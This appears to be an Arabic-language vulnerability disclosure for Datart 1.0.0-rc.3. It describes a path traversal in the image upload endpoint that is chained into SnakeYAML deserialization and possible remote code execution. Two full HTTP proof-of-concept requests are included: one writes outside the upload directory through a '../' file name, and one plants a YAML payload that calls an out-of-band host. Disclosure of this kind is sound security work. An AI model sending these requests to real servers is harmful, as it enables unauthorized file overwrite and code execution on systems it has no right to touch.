
Datart 1.0.0-rc.3 عرضة لهجوم اجتياز الدليل (Directory Traversal) في واجهة POST /viz/image، حيث أن الخادم يستخدم مباشرة MultipartFile.transferTo() لحفظ الملف المرفوع في مسار يمكن للمستخدم التحكم فيه، ويفتقر إلى التحقق الصارم من اسم الملف.
الإصدار Datart 1.0.0-rc.3 يعاني من ثغرة اجتياز الدليل (Directory Traversal) في واجهة POST /viz/image، حيث يستخدم الخادم مباشرةً MultipartFile.transferTo() لحفظ الملف المرفوع في مسار يمكن للمستخدم التحكم فيه، ويفتقد إلى التحقق الصارم من اسم الملف.
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
الإصدار Datart 1.0.0-rc. 3 يعاني من ثغرة اجتياز الدليل (Directory Traversal). حيث تسمح معالجة ملفات التهيئة في التطبيق للمهاجمين برفع ملفات YAML عشوائية إلى المسار config/jdbc-driver-ext. yml. يقوم التطبيق بتحليل هذا الملف باستخدام طريقة load() أو loadAs() غير الآمنة من SnakeYAML دون تنقية المدخلات. وهذا يسمح بإلغاء تسلسل محتوى YAML الذي يتحكم به المهاجم، مما يؤدي إلى إنشاء فئات عشوائية. في ظروف معينة، يمكن استغلال ذلك لتحقيق تنفيذ الأوامر عن بُعد (RCE).
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--